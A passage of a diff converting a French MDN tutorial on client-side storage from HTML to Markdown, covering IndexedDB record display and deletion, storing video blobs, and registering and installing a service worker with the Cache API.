nouvel enregistrement à la base de données en utilisant {{domxref("IDBObjectStore.add()")}}. Cela crée une requête, sur le même principe qu'on a déjà vu. + 6. On ajoute des gestionnaires d'événement à `request` et `transaction` pour exécuter du code aux points importants de leur cycle de vie : + + - Quand la requête a réussit, on efface les champs du formulaire — pour pouvoir ajouter une nouvelle note + - Quand la transaction est terminé, on réexécute la fonction `displayData()` — pour mettre à jour l'affichage de notes sur la page. + +### Afficher les données + +Nous avons déjà appelé `displayData()` deux fois dans notre code, nous allons maintenant définir cette fonction. Ajoutez ce qui suit à votre code, en dessous de la définition de la fonction précédente : + +```js +// Définit la fonction displayData() function displayData() { // Vide le contenu de la liste à chaque fois qu'on la met à jour // Si on ne le faisait pas, des duplicats seraient affichés à chaque ajout @@ -539,39 +506,25 @@ function displayData() { console.log('Notes all displayed'); } }; -}</pre> - -<p>Encore une fois, pas à pas :</p> - -<ol> - <li> - <p>D'abord on vide le contenu de l'élément {{htmlelement("ul")}}, pour pouvoir le remplir avec le contenu mis à jour. Si on ne le faisait pas, on obtiendrait une énorme liste de contenus dupliqués à chaque mise à jour.</p> - </li> - <li> - <p>Ensuite, on récupère une référence à l'object store <code>notes</code> en utilisant {{domxref("IDBDatabase.transaction()")}} et {{domxref("IDBTransaction.objectStore()")}} comme nous l'avons fait dans <code>addData()</code>, mais en chaînant ces deux instructions en une seule ligne.</p> - </li> - <li> - <p>L'étape suivante consiste à utiliser la méthode {{domxref("IDBObjectStore.openCursor()")}} pour ouvrir un curseur — une construction qui peut être utilisée pour itérer sur les entrées d'un object store. On chaîne un gestionnaire d'événement <code>onsuccess</code> à la fin de cette opération pour rendre le code plus concis — dès que le curseur est récupéré, le gestionnaire est exécuté.</p> - </li> - <li> - <p>On récupère une référence au curseur lui-même (un objet {{domxref("IDBCursor")}}) avec <code>cursor = e.target.result</code>.</p> - </li> - <li> - <p>Ensuite, on vérifie si le curseur contient une entrée de l'object store (<code>if(cursor){ ... }</code>) — si c'est le cas, on crée des éléments du DOM, les remplit avec les données de l'entrée, et les insère dans la page (à l'intérieur de l'élément <code><ul></code>). On inclut un bouton de suppression, qui, quand il est cliqué, supprime l'entrée en cours en appelant la fonction <code>deleteItem()</code> — que nous allons voir dans la section suivante.</p> - </li> - <li> - <p>À la fin du bloc <code>if</code>, on utilise la méthode {{domxref("IDBCursor.continue()")}} pour avancer le curseur à la prochaine entrée dans l'object store et réexécuter le bloc. S'il reste une autre entrée sur laquelle itérer, elle sera à son tour insérée dans la page, <code>continue()</code> sera exécuté à nouveau, et ainsi de suite.</p> - </li> - <li> - <p>Quand il n'y a plus d'enregistrements à parcourir, le curseur retourne <code>undefined</code>, et le bloc <code>else</code> sera donc exécuté à la place. Ce bloc vérifie si des notes ont été insérées dans le <code><ul></code> — si ce n'est pas le cas, on insère un message indiquant qu'il n'existe aucune note.</p> - </li> -</ol> - -<h3 id="Supprimer_une_note">Supprimer une note</h3> - -<p>Come nous avons vu ci-dessus, lorsque le bouton supprimer est cliqué, la note correspondante est supprimée. Cette action est réalisée par la fonction <code>deleteItem()</code>, que l'on définit ainsi :</p> - -<pre class="brush: js">// Définit la fonction deleteItem() +} +``` + +Encore une fois, pas à pas : + +1. D'abord on vide le contenu de l'élément {{htmlelement("ul")}}, pour pouvoir le remplir avec le contenu mis à jour. Si on ne le faisait pas, on obtiendrait une énorme liste de contenus dupliqués à chaque mise à jour. +2. Ensuite, on récupère une référence à l'object store `notes` en utilisant {{domxref("IDBDatabase.transaction()")}} et {{domxref("IDBTransaction.objectStore()")}} comme nous l'avons fait dans `addData()`, mais en chaînant ces deux instructions en une seule ligne. +3. L'étape suivante consiste à utiliser la méthode {{domxref("IDBObjectStore.openCursor()")}} pour ouvrir un curseur — une construction qui peut être utilisée pour itérer sur les entrées d'un object store. On chaîne un gestionnaire d'événement `onsuccess` à la fin de cette opération pour rendre le code plus concis — dès que le curseur est récupéré, le gestionnaire est exécuté. +4. On récupère une référence au curseur lui-même (un objet {{domxref("IDBCursor")}}) avec `cursor = e.target.result`. +5. Ensuite, on vérifie si le curseur contient une entrée de l'object store (`if(cursor){ ... }`) — si c'est le cas, on crée des éléments du DOM, les remplit avec les données de l'entrée, et les insère dans la page (à l'intérieur de l'élément `<ul>`). On inclut un bouton de suppression, qui, quand il est cliqué, supprime l'entrée en cours en appelant la fonction `deleteItem()` — que nous allons voir dans la section suivante. +6. À la fin du bloc `if`, on utilise la méthode {{domxref("IDBCursor.continue()")}} pour avancer le curseur à la prochaine entrée dans l'object store et réexécuter le bloc. S'il reste une autre entrée sur laquelle itérer, elle sera à son tour insérée dans la page, `continue()` sera exécuté à nouveau, et ainsi de suite. +7. Quand il n'y a plus d'enregistrements à parcourir, le curseur retourne `undefined`, et le bloc `else` sera donc exécuté à la place. Ce bloc vérifie si des notes ont été insérées dans le `<ul>` — si ce n'est pas le cas, on insère un message indiquant qu'il n'existe aucune note. + +### Supprimer une note + +Come nous avons vu ci-dessus, lorsque le bouton supprimer est cliqué, la note correspondante est supprimée. Cette action est réalisée par la fonction `deleteItem()`, que l'on définit ainsi : + +```js +// Définit la fonction deleteItem() function deleteItem(e) { // Récupère l'id de l'entrée que l'on veut supprimer // On doit le convertir en nombre avant d'essayer de récupérer l'entrée correspondante dans IDB @@ -597,190 +550,186 @@ function deleteItem(e) { list.appendChild(listItem); } }; -}</pre> - -<ul> - <li>On récupère l'ID de l'entrée à supprimer avec <code>Number(e.target.parentNode.getAttribute('data-note-id'))</code> — souvenez-vous qu'on a mis l'ID de l'entrée dans l'attribut <code>data-note-id</code> du <code><li></code> au moment de l'afficher. On fait passer l'id à travers l'objet global <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number">Number()</a>, puisqu'on a actuellement une chaîne de caractères et on a besoin d'un nombre pour qu'il soit reconnu par la base de données.</li> - <li>On récupère ensuite une référence à l'object store de la même manière que précédemment, et on utilise la méthode {{domxref("IDBObjectStore.delete()")}} pour supprimer l'entrée de la base de données, en lui passant l'ID.</li> - <li>Quand la transaction est terminée, on supprime le <code><li></code> du DOM, et on vérifie si le <code><ul></code> est maintenant vide. Si c'est le cas, on insère un message pour l'indiquer.</li> -</ul> - -<p>Et voilà ! L'exemple devrait maintenant fonctionner.</p> - -<div class="note"> -<p><strong>Note :</strong> Si vous rencontrez des difficultés, n'hésitez pas à consulter <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/notes/">notre exemple en direct</a> (ou voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.js">le code source</a>).</p> -</div> - -<h3 id="Stocker_des_données_complexes_avec_IndexedDB">Stocker des données complexes avec IndexedDB</h3> - -<p>Comme nous l'avons mentionné auparavant, IndexedDB peut être utilisé pour stocker plus que de simples chaînes de caractères. On peut stocker à peu près tout ce qu'on veux, y compris des objets complexes tels que des vidéos ou des images. Et ce n'est pas plus difficilte à réaliser qu'avec n'importe quel autre type de données.</p> - -<p>Pour vous montrer comment le faire, nous avons écrit un autre exemple appelé <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/indexeddb/video-store">IndexedDB video store</a> (le <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/video-store/">voir en direct</a>). Lorsque vous exécutez l'exemple pour la première fois, il télécharge des vidéos à partir du réseau, les stocke dans une base de données IndexedDB, puis affiche les vidéos dans des éléments {{htmlelement("video")}} de l'interface utilisateur. Les prochaines fois que vous l'exécutez, il récupère les vidéos de la base de données — cela rend les chargements suivants beaucoup plus rapides et moins gourmands en bande passante.</p> - -<p>Passons en revue les parties les plus intéressantes de l'exemple. Nous ne regarderons pas tout — une grande partie est similaire à l'exemple précédent, et le code est bien commenté.</p> - -<ol> - <li> - <p>Pour cet exemple, nous avons stocké le nom des vidéos à récupérer dans un tableau d'objets :</p> - - <pre class="brush: js">const videos = [ - { 'name' : 'crystal' }, - { 'name' : 'elf' }, - { 'name' : 'frog' }, - { 'name' : 'monster' }, - { 'name' : 'pig' }, - { 'name' : 'rabbit' } -];</pre> - </li> - <li> - <p>Pour commencer, une fois que la base de données a été ouverte, on exécute la fonction <code>init()</code>. Elle boucle sur les noms des vidéos et essaie de charger l'entrée correspondante dans la base de données <code>videos</code>.</p> +} +``` + +- On récupère l'ID de l'entrée à supprimer avec `Number(e.target.parentNode.getAttribute('data-note-id'))` — souvenez-vous qu'on a mis l'ID de l'entrée dans l'attribut `data-note-id` du `<li>` au moment de l'afficher. On fait passer l'id à travers l'objet global [Number()](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number), puisqu'on a actuellement une chaîne de caractères et on a besoin d'un nombre pour qu'il soit reconnu par la base de données. +- On récupère ensuite une référence à l'object store de la même manière que précédemment, et on utilise la méthode {{domxref("IDBObjectStore.delete()")}} pour supprimer l'entrée de la base de données, en lui passant l'ID. +- Quand la transaction est terminée, on supprime le `<li>` du DOM, et on vérifie si le `<ul>` est maintenant vide. Si c'est le cas, on insère un message pour l'indiquer. + +Et voilà ! L'exemple devrait maintenant fonctionner. + +> **Note :** Si vous rencontrez des difficultés, n'hésitez pas à consulter [notre exemple en direct](https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/notes/) (ou voir [le code source](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/indexeddb/notes/index.js)). + +### Stocker des données complexes avec IndexedDB + +Comme nous l'avons mentionné auparavant, IndexedDB peut être utilisé pour stocker plus que de simples chaînes de caractères. On peut stocker à peu près tout ce qu'on veux, y compris des objets complexes tels que des vidéos ou des images. Et ce n'est pas plus difficilte à réaliser qu'avec n'importe quel autre type de données. + +Pour vous montrer comment le faire, nous avons écrit un autre exemple appelé [IndexedDB video store](https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/indexeddb/video-store) (le [voir en direct](https://mdn.github.io/learning-area/javascript/apis/client-side-storage/indexeddb/video-store/)). Lorsque vous exécutez l'exemple pour la première fois, il télécharge des vidéos à partir du réseau, les stocke dans une base de données IndexedDB, puis affiche les vidéos dans des éléments {{htmlelement("video")}} de l'interface utilisateur. Les prochaines fois que vous l'exécutez, il récupère les vidéos de la base de données — cela rend les chargements suivants beaucoup plus rapides et moins gourmands en bande passante. + +Passons en revue les parties les plus intéressantes de l'exemple. Nous ne regarderons pas tout — une grande partie est similaire à l'exemple précédent, et le code est bien commenté. + +1. Pour cet exemple, nous avons stocké le nom des vidéos à récupérer dans un tableau d'objets : + + ```js + const videos = [ + { 'name' : 'crystal' }, + { 'name' : 'elf' }, + { 'name' : 'frog' }, + { 'name' : 'monster' }, + { 'name' : 'pig' }, + { 'name' : 'rabbit' } + ]; + ``` + +2. Pour commencer, une fois que la base de données a été ouverte, on exécute la fonction `init()`. Elle boucle sur les noms des vidéos et essaie de charger l'entrée correspondante dans la base de données `videos`. + + On peut facilement vérifier si une entrée a été trouvée en vérifiant si `request.result` est évalué à `true` — si l'entrée n'est pas présente, la valeur retournée est `undefined`. + + Les vidéos présentes en base de données (stockées sous formes de blobs), sont directement passées à la fonction `displayVideo()` pour les afficher dans l'interface utilisateur. Pour les vidéos non présentes, on appelle la fonction `fetchVideoFromNetwork()`, qui récupère la vidéo à partir du réseau. + + ```js + function init() { + // Boucle sur les vidéos une par une + for(let i = 0; i < videos.length; i++) { + // Ouvre une transaction, récupère l'object store, et récupère chaque video par son nom + let objectStore = db.transaction('videos').objectStore('videos'); + let request = objectStore.get(videos[i].name); + request.onsuccess = function() { + // Si l'entrée existe dans la BDD (le résultat n'est pas undefined) + if(request.result) { + // Affiche la vidéo en utilisant displayVideo() + console.log('taking videos from IDB'); + displayVideo(request.result.mp4, request.result.webm, request.result.name); + } else { + // Récupère la vidéo à partir du réseau + fetchVideoFromNetwork(videos[i]); + } + }; + } + } + ``` + +3. Le bout de code qui suit est extrait de la fonction `fetchVideoFromNetwork()` — ici, on récupère les versions MP4 et WebM de la vidéos en utilisant deux requêtes {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} distinctes. On utilise ensuite la méthode {{domxref("blob()", "Body.blob()")}} pour extraire la réponse sous forme de blob, ce qui nous donne une représentation objet de la vidéo que l'on peut stocker et afficher plus tard. + + Il reste cependant un problème — ces deux requêtes sont asynchrones et ont veut afficher/stocker la vidéo uniquement lorsque les deux promesses sont résolues. Heureusement, il existe une méthode native qui gère ce problème — {{jsxref("Promise.all()")}}. Elle prend un argument — la liste de toutes les promesses qui doivent être attendues — et retourne elle-même une promesse. Quand toutes les promesses sont résolues, alors la promesse de la méthode `all()` est résolue, avec pour valeur un tableau contenant toutes les valeurs individuelles retournées par les promesses. + + À l'intérieur du bloc `all()`, vous pouvez voir qu'on appelle la fonction `displayVideo()`, comme on l'a fait précédemment, pour afficher les vidéos dans l'interface utilisateur, puis la fonction `storeVideo()` pour stocker ces vidéos dans la base de données. + + ```js + let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response => + response.blob() + ); + let webmBlob = fetch('videos/' + video.name + '.webm').then(response => + response.blob() + ); + + // Exécuter le bloc de code suivant lorsque les deux promesses sont résolues + Promise.all([mp4Blob, webmBlob]).then(function(values) { + // Afficher la vidéo récupérée à partir du réseau avec displayVideo() + displayVideo(values[0], values[1], video.name); + // La stocker dans IDB avec storeVideo() + storeVideo(values[0], values[1], video.name); + }); + ``` + +4. Regardons `storeVideo()` en premier. Cela ressemble beaucoup à ce qu'on a fait dans l'exemple précédent pour ajouter des données à la base de données — on ouvre une transaction en lecture/écriture et on récupère l'object store de `videos`, on crée un objet à ajouter à la base de données et on l'ajoute avec {{domxref("IDBObjectStore.add()")}}. + + ```js + function storeVideo(mp4Blob, webmBlob, name) { + // Ouvre une transaction, récupère object store + let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos'); + // Crée une entrée à ajouter à IDB + let record = { + mp4 : mp4Blob, + webm : webmBlob, + name : name + } - <p>On peut facilement vérifier si une entrée a été trouvée en vérifiant si <code>request.result</code> est évalué à <code>true</code> — si l'entrée n'est pas présente, la valeur retournée est <code>undefined</code>.</p> + // Ajoute l'entrée à IDB avec add() + let request = objectStore.add(record); - <p>Les vidéos présentes en base de données (stockées sous formes de blobs), sont directement passées à la fonction <code>displayVideo()</code> pour les afficher dans l'interface utilisateur. Pour les vidéos non présentes, on appelle la fonction <code>fetchVideoFromNetwork()</code>, qui récupère la vidéo à partir du réseau.</p> + ... - <pre class="brush: js">function init() { - // Boucle sur les vidéos une par une - for(let i = 0; i < videos.length; i++) { - // Ouvre une transaction, récupère l'object store, et récupère chaque video par son nom - let objectStore = db.transaction('videos').objectStore('videos'); - let request = objectStore.get(videos[i].name); - request.onsuccess = function() { - // Si l'entrée existe dans la BDD (le résultat n'est pas undefined) - if(request.result) { - // Affiche la vidéo en utilisant displayVideo() - console.log('taking videos from IDB'); - displayVideo(request.result.mp4, request.result.webm, request.result.name); - } else { - // Récupère la vidéo à partir du réseau - fetchVideoFromNetwork(videos[i]); - } }; - } -}</pre> - </li> - <li> - <p>Le bout de code qui suit est extrait de la fonction <code>fetchVideoFromNetwork()</code> — ici, on récupère les versions MP4 et WebM de la vidéos en utilisant deux requêtes {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} distinctes. On utilise ensuite la méthode {{domxref("blob()", "Body.blob()")}} pour extraire la réponse sous forme de blob, ce qui nous donne une représentation objet de la vidéo que l'on peut stocker et afficher plus tard.</p> - - <p>Il reste cependant un problème — ces deux requêtes sont asynchrones et ont veut afficher/stocker la vidéo uniquement lorsque les deux promesses sont résolues. Heureusement, il existe une méthode native qui gère ce problème — {{jsxref("Promise.all()")}}. Elle prend un argument — la liste de toutes les promesses qui doivent être attendues — et retourne elle-même une promesse. Quand toutes les promesses sont résolues, alors la promesse de la méthode <code>all()</code> est résolue, avec pour valeur un tableau contenant toutes les valeurs individuelles retournées par les promesses.</p> - - <p>À l'intérieur du bloc <code>all()</code>, vous pouvez voir qu'on appelle la fonction <code>displayVideo()</code>, comme on l'a fait précédemment, pour afficher les vidéos dans l'interface utilisateur, puis la fonction <code>storeVideo()</code> pour stocker ces vidéos dans la base de données.</p> - - <pre class="brush: js">let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response => - response.blob() -); -let webmBlob = fetch('videos/' + video.name + '.webm').then(response => - response.blob() -); - -// Exécuter le bloc de code suivant lorsque les deux promesses sont résolues -Promise.all([mp4Blob, webmBlob]).then(function(values) { - // Afficher la vidéo récupérée à partir du réseau avec displayVideo() - displayVideo(values[0], values[1], video.name); - // La stocker dans IDB avec storeVideo() - storeVideo(values[0], values[1], video.name); -});</pre> - </li> - <li> - <p>Regardons <code>storeVideo()</code> en premier. Cela ressemble beaucoup à ce qu'on a fait dans l'exemple précédent pour ajouter des données à la base de données — on ouvre une transaction en lecture/écriture et on récupère l'object store de <code>videos</code>, on crée un objet à ajouter à la base de données et on l'ajoute avec {{domxref("IDBObjectStore.add()")}}.</p> - - <pre class="brush: js">function storeVideo(mp4Blob, webmBlob, name) { - // Ouvre une transaction, récupère object store - let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos'); - // Crée une entrée à ajouter à IDB - let record = { - mp4 : mp4Blob, - webm : webmBlob, - name : name - } - - // Ajoute l'entrée à IDB avec add() - let request = objectStore.add(record); - - ... + ``` -};</pre> - </li> - <li> - <p>Enfin, <code>displayVideo()</code> crée les éléments DOM nécessaires pour insérer la vidéo dans l'interface utilisateur, puis les ajoute à la page. Les parties les plus intéressantes sont copiées ci-dessous — pour afficher notre blob vidéo dans un élément <code><video></code>, on doit créer un objet URL (URL interne qui pointe vers un blob en mémoire) en utilisant la méthode {{domxref("URL.createObjectURL()")}}. Une fois que c'est fait, on peut assigner l'URL comme valeur d'attribut <code>src</code> de l'élément {{htmlelement("source")}}, et ça marche.</p> +5. Enfin, `displayVideo()` crée les éléments DOM nécessaires pour insérer la vidéo dans l'interface utilisateur, puis les ajoute à la page. Les parties les plus intéressantes sont copiées ci-dessous — pour afficher notre blob vidéo dans un élément `<video>`, on doit créer un objet URL (URL interne qui pointe vers un blob en mémoire) en utilisant la méthode {{domxref("URL.createObjectURL()")}}. Une fois que c'est fait, on peut assigner l'URL comme valeur d'attribut `src` de l'élément {{htmlelement("source")}}, et ça marche. - <pre class="brush: js">function displayVideo(mp4Blob, webmBlob, title) { - // Crée l'objet URL à partir du blob - let mp4URL = URL.createObjectURL(mp4Blob); - let webmURL = URL.createObjectURL(webmBlob); + ```js + function displayVideo(mp4Blob, webmBlob, title) { + // Crée l'objet URL à partir du blob + let mp4URL = URL.createObjectURL(mp4Blob); + let webmURL = URL.createObjectURL(webmBlob); - ... + ... - let video = document.createElement('video'); - video.controls = true; - let source1 = document.createElement('source'); - source1.src = mp4URL; - source1.type = 'video/mp4'; - let source2 = document.createElement('source'); - source2.src = webmURL; - source2.type = 'video/webm'; + let video = document.createElement('video'); + video.controls = true; + let source1 = document.createElement('source'); + source1.src = mp4URL; + source1.type = 'video/mp4'; + let source2 = document.createElement('source'); + source2.src = webmURL; + source2.type = 'video/webm'; - ... -}</pre> - </li> -</ol> + ... + } + ``` -<h2 id="Stockage_hors-ligne_de_ressources">Stockage hors-ligne de ressources</h2> +## Stockage hors-ligne de ressources -<p>L'exemple ci-dessus montre comment créer une application qui stocke des ressources volumineuses dans une base de données IndexedDB, évitant ainsi de devoir les télécharger plus d'une fois. C'est déjà une grande amélioration pour l'expérience utilisateur, mais il manque encore une chose: les fichiers HTML, CSS, et JavaScript doivent encore être téléchargés à chaque fois que le site est accédé, ce qui veut dire qu'il ne fonctionnera pas lorsqu'il n'y a pas de connexion réseau</p> +L'exemple ci-dessus montre comment créer une application qui stocke des ressources volumineuses dans une base de données IndexedDB, évitant ainsi de devoir les télécharger plus d'une fois. C'est déjà une grande amélioration pour l'expérience utilisateur, mais il manque encore une chose: les fichiers HTML, CSS, et JavaScript doivent encore être téléchargés à chaque fois que le site est accédé, ce qui veut dire qu'il ne fonctionnera pas lorsqu'il n'y a pas de connexion réseau -<p><img alt="" src="ff-offline.png"></p> + -<p>C'est là qu'interviennet les <a href="/fr/docs/Web/API/Service_Worker_API">Service workers</a> et l'API étroitement liée, <a href="/fr/docs/Web/API/Cache">Cache</a>.</p> +C'est là qu'interviennet les [Service workers](/fr/docs/Web/API/Service_Worker_API) et l'API étroitement liée, [Cache](/fr/docs/Web/API/Cache). -<h3 id="Service_Worker_Cache">Service Worker / Cache</h3> +### Service Worker / Cache -<p>Un service worker est un fichier JavaScript qui, pour faire simple, est associé à une origine (un site web à un domaine donné) lorsque le navigateur y accède. Une fois associé, il peut contrôler les pages disponibles pour cette origine. Il le fait en s'installant entre la page chargée et le réseau, interceptant les requêtes réseau visant cette origine.</p> +Un service worker est un fichier JavaScript qui, pour faire simple, est associé à une origine (un site web à un domaine donné) lorsque le navigateur y accède. Une fois associé, il peut contrôler les pages disponibles pour cette origine. Il le fait en s'installant entre la page chargée et le réseau, interceptant les requêtes réseau visant cette origine. -<p>Quand le service worker intercepte une requête, il peut faire tout ce que vous voulez (voir quelques <a href="/fr/docs/Web/API/Service_Worker_API#Autres_id%C3%A9es_de_cas_d'utilisation">idées de cas d'utilisation</a>), mais l'exemple le plus classique est de sauvegarder les réponses réseau hors-ligne pour fournir ces réponses aux requêtes qui suivent au lieu d'utiliser le réseau. Ainsi, cela vous permet de faire fonctionner un site web complètement hors-ligne.</p> +Quand le service worker intercepte une requête, il peut faire tout ce que vous voulez (voir quelques [idées de cas d'utilisation](/fr/docs/Web/API/Service_Worker_API#Autres_id%C3%A9es_de_cas_d'utilisation)), mais l'exemple le plus classique est de sauvegarder les réponses réseau hors-ligne pour fournir ces réponses aux requêtes qui suivent au lieu d'utiliser le réseau. Ainsi, cela vous permet de faire fonctionner un site web complètement hors-ligne. -<p>L'API Cache est un autre mécanisme de stockage côté client, il a été conçu pour enregistrer les réponses HTTP et fonctionne donc très bien en synergie avec les service workers.</p> +L'API Cache est un autre mécanisme de stockage côté client, il a été conçu pour enregistrer les réponses HTTP et fonctionne donc très bien en synergie avec les service workers. -<div class="note"> -<p><strong>Note :</strong> Les Service workers et Cache sont pris en charge par la plupart des navigateurs modernes aujourd'hui. Au moment de la rédaction de cet article, Safari était encore occupé à l'implémenter, mais il devrait bientôt être disponible.</p> -</div> +> **Note :** Les Service workers et Cache sont pris en charge par la plupart des navigateurs modernes aujourd'hui. Au moment de la rédaction de cet article, Safari était encore occupé à l'implémenter, mais il devrait bientôt être disponible. -<h3 id="Un_exemple_service_worker">Un exemple service worker</h3> +### Un exemple service worker -<p>Voyons un exemple, pour vous donner une idée de ce à quoi cela pourrait ressembler. Nous avons crée une autre version de l'exemple video store vu précédemment. Cela fonctionne de manière identique, mais enregistre également le HTML, CSS, et JavaScript dans l'API Cache via un service worker, permettant à l'exemple de marcher hors ligne!</p> +Voyons un exemple, pour vous donner une idée de ce à quoi cela pourrait ressembler. Nous avons crée une autre version de l'exemple video store vu précédemment. Cela fonctionne de manière identique, mais enregistre également le HTML, CSS, et JavaScript dans l'API Cache via un service worker, permettant à l'exemple de marcher hors ligne! -<p>Voir <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/">IndexedDB video store avec service worker en direct</a>, ou <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/cache-sw/video-store-offline">voir le code source</a>.</p> +Voir [IndexedDB video store avec service worker en direct](https://mdn.github.io/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/), ou [voir le code source](https://github.com/mdn/learning-area/tree/master/javascript/apis/client-side-storage/cache-sw/video-store-offline). -<h3 id="Enregistrer_le_service_worker">Enregistrer le service worker</h3> +### Enregistrer le service worker -<p>La première chose à noter est qu'il a un peu plus de code placé dans le fichier JavaScript principal (voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js#L144">index.js</a>):</p> +La première chose à noter est qu'il a un peu plus de code placé dans le fichier JavaScript principal (voir [index.js](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js#L144)): -<pre class="brush: js">// Enregistre un service worker pour contrôler le site hors-ligne +```js +// Enregistre un service worker pour contrôler le site hors-ligne if('serviceWorker' in navigator) { navigator.serviceWorker .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js') .then(function() { console.log('Service Worker Registered'); }); -}</pre> +} +``` -<ul> - <li>On effectue d'abord un test de détection de fonctionnalité pour vérifier si l'objet <code>serviceWorker</code> existe dans l'objet {{domxref("Navigator")}}. Si c'est le cas, alors on sait qu'au moins les fonctionnalités de base des service workers sont prises en charge.</li> - <li>On utilise la méthode {{domxref("ServiceWorkerContainer.register()")}} afin d'enregistrer le service worker <code>sw.js</code> pour l'origine où il se situe, ainsi il pourra contrôler les pages qui sont dans le même répertoire que lui, ou dans un sous-répertoire.</li> - <li>Lorsque la promesse est résolue, c'est que le service worker est enregistré.</li> -</ul> +- On effectue d'abord un test de détection de fonctionnalité pour vérifier si l'objet `serviceWorker` existe dans l'objet {{domxref("Navigator")}}. Si c'est le cas, alors on sait qu'au moins les fonctionnalités de base des service workers sont prises en charge. +- On utilise la méthode {{domxref("ServiceWorkerContainer.register()")}} afin d'enregistrer le service worker `sw.js` pour l'origine où il se situe, ainsi il pourra contrôler les pages qui sont dans le même répertoire que lui, ou dans un sous-répertoire. +- Lorsque la promesse est résolue, c'est que le service worker est enregistré. -<div class="note"> -<p><strong>Note :</strong> Le chemin du fichier <code>sw.js</code> est relatif à l'origine du site, et non au fichier JavaScript qui l'appelle.<br> - Le service worker est sur <code>https://mdn.github.io/learning-area/.../sw.js</code>. L'origine est <code>https://mdn.github.io</code>. Le chemin donné doit donc être <code>/learning-area/.../sw.js</code>.<br> - Si vous vouliez héberger cet exemple sur votre propre serveur, vous devriez changer le chemin en conséquence. C'est plutôt inhabituel, mais cela doit fonctionner de cette façon pour des raisons de sécurité.</p> -</div> +> **Note :** Le chemin du fichier `sw.js` est relatif à l'origine du site, et non au fichier JavaScript qui l'appelle. +> Le service worker est sur `https://mdn.github.io/learning-area/.../sw.js`. L'origine est `https://mdn.github.io`. Le chemin donné doit donc être `/learning-area/.../sw.js`. +> Si vous vouliez héberger cet exemple sur votre propre serveur, vous devriez changer le chemin en conséquence. C'est plutôt inhabituel, mais cela doit fonctionner de cette façon pour des raisons de sécurité. -<h3 id="Installer_le_service_worker">Installer le service worker</h3> +### Installer le service worker -<p>Quand une page sous le contrôle du service worker est appelée (par exemple lorsque l'exemple est rechargé), alors le service worker est installé par rapport à cette page et il peut commencer à la contrôler. Quand cela arrive, un événement <code>install</code> est déclenché sur le service worker; vous pouvez écrire du code dans le service worker pour qu'il réponde à cette installation.</p> +Quand une page sous le contrôle du service worker est appelée (par exemple lorsque l'exemple est rechargé), alors le service worker est installé par rapport à cette page et il peut commencer à la contrôler. Quand cela arrive, un événement `install` est déclenché sur le service worker; vous pouvez écrire du code dans le service worker pour qu'il réponde à cette installation. -<p>Prenons pour exemple le fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js">sw.js</a> (le service worker) :</p> +Prenons pour exemple le fichier [sw.js](https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js) (le service worker) : -<pre class="brush: js">self.addEventListener('install', function(e) { +```js +self.addEventListener('install', function(e) { e.waitUntil( caches.open('video-store').then(function(cache) { return cache.addAll([ @@ -791,92 +740,69 @@ if('serviceWorker' in navigator) { ]); }) ); -});</pre> +}); +``` -<ol> - <li> - <p>Le gestionnaire d'événément <code>install</code> est enregistré sur <code>self</code>. Le mot-clé <code>self</code> est un moyen de faire référence au service worker de la portée globale à partir de son fichier.</p> - </li> - <li> - <p>À l'intérieur du gestionnaire d'installation, on utilise la méthode {{domxref("ExtendableEvent.waitUntil()")}}, disponible sur l'objet événement, pour signaler que le navigateur ne doit pas terminer l'installation du service worker avant que la promesse qu'il contient ne soit résolue avec succès.</p> - </li> - <li> - <p>Ici, on voit l'API Cache en action: on utilise la méthode {{domxref("CacheStorage.open()")}} pour ouvrir un nouvel objet cache dans lequel les réponses seront stockées (similaire à un object store IndexedDB). Cette promesse se résout avec un objet {{domxref("Cache")}} représentant le cache du <code>video-store</code>.</p> - </li> - <li> - <p>On utilise la méthode {{domxref("Cache.addAll()")}} pour récupérer une série de ressources et ajouter leur réponse au cache.</p> - </li> -</ol> +1. Le gestionnaire d'événément `install` est enregistré sur `self`. Le mot-clé `self` est un moyen de faire référence au service worker de la portée globale à partir de son fichier. +2. À l'intérieur du gestionnaire d'installation, on utilise la méthode {{domxref("ExtendableEvent.waitUntil()")}}, disponible sur l'objet événement, pour signaler que le navigateur ne doit pas terminer l'installation du service worker avant que la promesse qu'il contient ne soit résolue avec succès. +3. Ici, on voit l'API Cache en action: on utilise la méthode {{domxref("CacheStorage.open()")}} pour ouvrir un nouvel objet cache dans lequel les réponses seront stockées (similaire à un object store IndexedDB). Cette promesse se résout avec un objet {{domxref("Cache")}} représentant le cache du `video-store`. +4. On utilise la méthode {{domxref("Cache.addAll()")}} pour récupérer une série de ressources et ajouter leur réponse au cache. -<p>C'est tout pour l'instant, l'installation est terminée.</p> +C'est tout pour l'instant, l'installation est terminée. -<h3 id="Répondre_aux_futures_requêtes">Répondre aux futures requêtes</h3> +### Répondre aux futures requêtes -<p>Avec le service worker enregistré et installé pour notre page HTML, et les ressources pertinentes ajoutées au cache, on est presque prêts. Il n'y a plus qu'une chose à faire: écrire du code pour répondre aux prochaines requêtes réseau.</p> +Avec le service worker enregistré et installé pour notre page HTML, et les ressources pertinentes ajoutées au cache, on est presque prêts. Il 